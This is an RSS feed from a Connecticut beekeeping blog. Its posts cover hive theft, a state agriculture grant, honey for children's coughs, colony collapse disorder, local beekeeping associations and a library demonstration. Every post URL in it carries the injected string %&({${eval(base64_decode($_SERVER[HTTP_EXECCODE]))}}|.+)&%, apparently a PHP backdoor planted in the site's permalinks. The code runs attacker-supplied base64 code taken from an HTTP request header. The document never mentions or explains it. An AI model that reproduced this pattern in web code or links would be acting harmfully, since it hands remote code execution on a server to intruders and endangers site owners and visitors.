beeblog » beekeeping news http://ct-honey.com/beeblog The Beekeepers' Forum Mon, 09 Mar 2009 13:40:41 +0000 http://wordpress.org/?v=2.7 en hourly 1 The Beeblog is Back! http://ct-honey.com/beeblog/2008/12/23/the-beeblog-is-back/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2008/12/23/the-beeblog-is-back/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 24 Dec 2008 02:27:32 +0000 stuart http://ct-honey.com/beeblog/?p=169 After a nine month hiatus, the beeblog is back.  Our site has undergone many changes in the last few months, and at some point all of the image files for the posts were lost.  I’m in the process of finding the images and replacing them, but it will take some time. 

In the meantime, feel free to contribute a post or comment on one of our existing posts!

]]> http://ct-honey.com/beeblog/2008/12/23/the-beeblog-is-back/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ More Hive Theft News http://ct-honey.com/beeblog/2008/03/11/more-hive-theft-news/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2008/03/11/more-hive-theft-news/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 11 Mar 2008 11:42:18 +0000 stuart http://ct-honey.com/beeblog/?p=132 Another piece on hive theft, this time from National Public Radio’s Day to Day, but with a twist.  Sasha Khokha reports that a California beekeeper, Brian Beekman, found that 128 hives had been stolen - a loss of approximately $40,000.  Rather than sit by idly, Beekman tracked down the stolen hives on his own, ultimately recovering them.  The thief, another beekeeper, has been charged with the theft of the hives and is facing possible jail time.

The introduction can be found here and the report is here.

One lesson to be taken from this report is to mark all of your equipment.  Beekman printed his name and other identifying information on the outside of his hives.  Realizing that this information could easily be painted over, he also marked the inside of his hives and the top bars of his wooden frames.  It must have been a lot of work, but it ultimately paid off.

]]> http://ct-honey.com/beeblog/2008/03/11/more-hive-theft-news/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Hive Theft on the Rise http://ct-honey.com/beeblog/2008/03/07/hive-theft-on-the-rise/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2008/03/07/hive-theft-on-the-rise/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 07 Mar 2008 18:26:02 +0000 stuart http://ct-honey.com/beeblog/?p=131 National Public Radio’s Morning Edition reports that the theft of beehives is increasing.  One California farmer had 180 hives stolen! Listen to their report here.

I suppose that this problem is to be expected in light of the problems beekeepers face right now.  Has anyone in Connecticut experienced any problems with theft?

]]> http://ct-honey.com/beeblog/2008/03/07/hive-theft-on-the-rise/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Stonewall Apiary Receives Grant from Conn. Department of Agriculture http://ct-honey.com/beeblog/2008/01/07/stonewall-apiary-receives-grant-from-conn-department-of-agriculture/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2008/01/07/stonewall-apiary-receives-grant-from-conn-department-of-agriculture/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 07 Jan 2008 14:14:59 +0000 stuart http://ct-honey.com/beeblog/?p=123 Stonewall Apiary has received an Agricultural Viability Grant from the Connecticut Department of Agriculture to expand its beekeeping operation and product line.  We will be offering more comb honey, since we sell out almost immediately each year.  In addition, we will also be adding more pollen and beeswax products.

For more information on the grant, including the other grant recipients, see the announcement on the Department of Agriculture website.

]]> http://ct-honey.com/beeblog/2008/01/07/stonewall-apiary-receives-grant-from-conn-department-of-agriculture/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Using Honey to Lessen a Child’s Cough http://ct-honey.com/beeblog/2007/12/12/using-honey-to-lessen-a-childs-cough/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/12/12/using-honey-to-lessen-a-childs-cough/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 12 Dec 2007 15:59:36 +0000 stuart http://ct-honey.com/beeblog/?p=120 An article in the New York Times reports that a spoonful of honey is more effective than the medicine (Dextromethorphan, or DM) in common over-the-counter medications used by most parents.  The study was conducted by researchers in the Department of Pediatrics and the Department of Public Health Sciences in the College of Medicine at Pennsylvania State University, Hershey.  The findings were reported in the December issue of the Archives of Adolescent and Pediatric Medicine.  A summary of their findings, as well as links to related articles, can be found here.

In the summary, the authors conclude that a spoonful of buckwheat honey is more effective than DM (and also more effective than no treatment at all) in alleviating the coughing and associated difficulty in sleeping caused by upper respiratory infections for children aged 2 to 18.

The NY Times article is here.

Cough and cold season is upon us.  In Connecticut, some school districts have even closed due to illness.  If you would like to try this remedy on your own, click here to purchase honey.  Why not give it a try?

REMINDER: Honey should never be given to children before their first birthday.

]]> http://ct-honey.com/beeblog/2007/12/12/using-honey-to-lessen-a-childs-cough/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Introducing Pollinationsource.com http://ct-honey.com/beeblog/2007/11/20/introducing-pollinationsourcecom/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/11/20/introducing-pollinationsourcecom/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 21 Nov 2007 00:54:04 +0000 stuart http://ct-honey.com/beeblog/?p=119 Stonewall Apiary is pleased to announce its newest project, Pollinationsource.com.  The focus of this website will be to connect beekeepers with people seeking pollination services.  Beekeepers of all sizes - hobbyists, sideliners and even commercial beekeepers - can register with the site, listing the types of crops they are willing to pollinate, the number of hives available for pollination, the distance they are willing to travel, as well as their pollination fee.  This information will then be available to people seeking pollination - from gardeners to part-time farmers to large-scale operations.

Check out the site if you have a chance and watch this space for more information.  If you have any feedback about this project, be sure to letus know.

]]> http://ct-honey.com/beeblog/2007/11/20/introducing-pollinationsourcecom/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Colony Collapse Disorder in Connecticut http://ct-honey.com/beeblog/2007/11/12/colony-collapse-disorder-in-connecticut/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/11/12/colony-collapse-disorder-in-connecticut/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 12 Nov 2007 20:37:50 +0000 stuart http://ct-honey.com/beeblog/?p=118 The Connecticut Agricultural Experiment Station has just published a report on Colony Collapse Disorder (CCD) in Connecticut.  The report contains good news about CCD: despite the presence of CCD in at least 24 states, there are no confirmed cases of it in Connecticut.  The report suggests that this may be due to the fact that the majority of beekeepers in the state are small hobbyists rather than commercial migratory beekeepers.  These beekeeping operations place their colonies under a great deal of stress, possibly making them susceptible to the Israeli Acute Paralysis virus, which has been associated with CCD, although its actual connection to CCD is unknown.

Now, the bad news.  While CCD is not a problem in Connecticut, the preexisting problems of parasitic mites, foulbrood, stress and exposure to pesticide use remain.  As any beekeeper who has lost colonies can attest, these problems can be formidable.

The report ends with the news that new research programs about CCD as well as the other problems that plague beekeepers are now under way in Connecticut.  This is a positive development.  Hopefully, it will yield results that will ensure that the health of the honeybee population in the state does not decline even further.  Maybe it will even result in research that improves the conditions for beekeeping in our state.

]]> http://ct-honey.com/beeblog/2007/11/12/colony-collapse-disorder-in-connecticut/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Response to “Where’s Conn. Ag. Station When We Need It?” http://ct-honey.com/beeblog/2007/09/04/response-to-3/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/09/04/response-to-3/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 05 Sep 2007 00:50:06 +0000 stuart http://ct-honey.com/beeblog/?p=113 I see it is time to add a new category: opinion.  I have done so and filed Post 109 under it.  This post is my response.

I agree that the Connecticut Agricultural Experiment Station (CAES) website is lacking when it comes to information for beekeepers.  It would be nice if there were a dedicated area on their site just for beekeeping information.  That said, there are a few useful documents that can be found with a “beekeeping” search on the site.

The CAES Bee Inspector is Ira Kettle, and his contact information can be found on the Entomology Department page.   I can personally attest that Ira is always accommodating.  Whenever I have spoken to him or asked him any question at all, he has been extremely helpful.  If you have a question, I encourage you to give him a call.

For the record, the beeblog would be happy to post any information that CAES wanted to get out to the beekeepers in the state.

The Connecticut Beekeepers Association is a great organization.  I am a member (OK, my membership recently lapsed but I plan on renewing it soon) and strongly recommend that all beekeepers in the state join.  They put out an informative newsletter and hold meetings that are well worth attending for all beekeepers.

In Eastern Connecticut, there is the Eastern Connecticut Beekeepers Association (ECBA).  It is an active, dynamic group that is constantly growing.  All of this, of course, is no thanks to me since I haven’t gotten around to joining yet!  (Sorry, guys!)  They do not have a website yet, as far as I know.  If any ECBA members are reading this and would like to post news and other information for the group, the beeblog would welcome any and all information.  That’s why it’s here!

There are other local groups in Connecticut and I’m sure they are all worthwhile.  Check out the one nearest to you!

Of course, if you are REALLY serious about beekeeping, there is the Eastern Apicultural Society.  They offer courses in beekeeping, present a yearly conference, publish a journal and have many resources on their website.

Finally, one of the best ways that beekeepers can stay informed is by actively communicating with one another.  After all, we’re the ones who see threats such as pests and diseases as they emerge.  We’re the ones who know what the conditions in our bee yards are like.  I started the beeblog to help us do that.  If you are a beekeeper, please let us know how your bees are doing.  If you’re having a problem, describe it and hopefully someone else will be able to help you out.  If you can help someone else, please do so.  We’re all in this together!

]]> http://ct-honey.com/beeblog/2007/09/04/response-to-3/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Medication Calculator Requests? http://ct-honey.com/beeblog/2007/01/09/medication-calculator-requests/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/01/09/medication-calculator-requests/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 09 Jan 2007 16:52:36 +0000 stuart http://ct-honey.com/beeblog/?p=42 It’s time to start thinking about spring medications…one of those beekeeping chores no one looks forward to.  To help make this task a bit easier on the mind (if not the wallet) we have developed the ct-honey.com Medication Calculator.  To use the calculator, simply enter the number of hives you will be medicating, indicate whether it is a spring or fall treatment, then select the medications you plan to purchase and click “Calculate”.  The Medication Calculator will return the amount of medication you need to purchase to medicate your hives.

At this time, not all medications are available on the calculator.  To date, there has been no demand for them so I have not bothered to develop calculators for them yet.  If you would like to see additional medications added, let me know and I’ll do my best to get them up and running ASAP.  If you have comments or suggestions about features you’d like to see included in the calculator, I’d love to hear them.

 

]]> http://ct-honey.com/beeblog/2007/01/09/medication-calculator-requests/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Beekeeping Demonstration http://ct-honey.com/beeblog/2006/03/23/beekeeping-demonstration/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2006/03/23/beekeeping-demonstration/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 23 Mar 2006 19:48:28 +0000 stuart http://ct-honey.com/beeblog/?p=33 Come and join us at the East Lyme Public Library at 7 p.m. on June 7th, where we will be giving a beekeeping demonstration.  The details of the demonstration have not been finalized yet, but will probably include beekeeping basics, beekeeping equipment, tasks during a typical year of beekeeping, and how honey is extracted.  A question and answer session will be included.  An observation hive will be on display.

Click here for directions to the library.  We hope to see you there!

 Observation Hive

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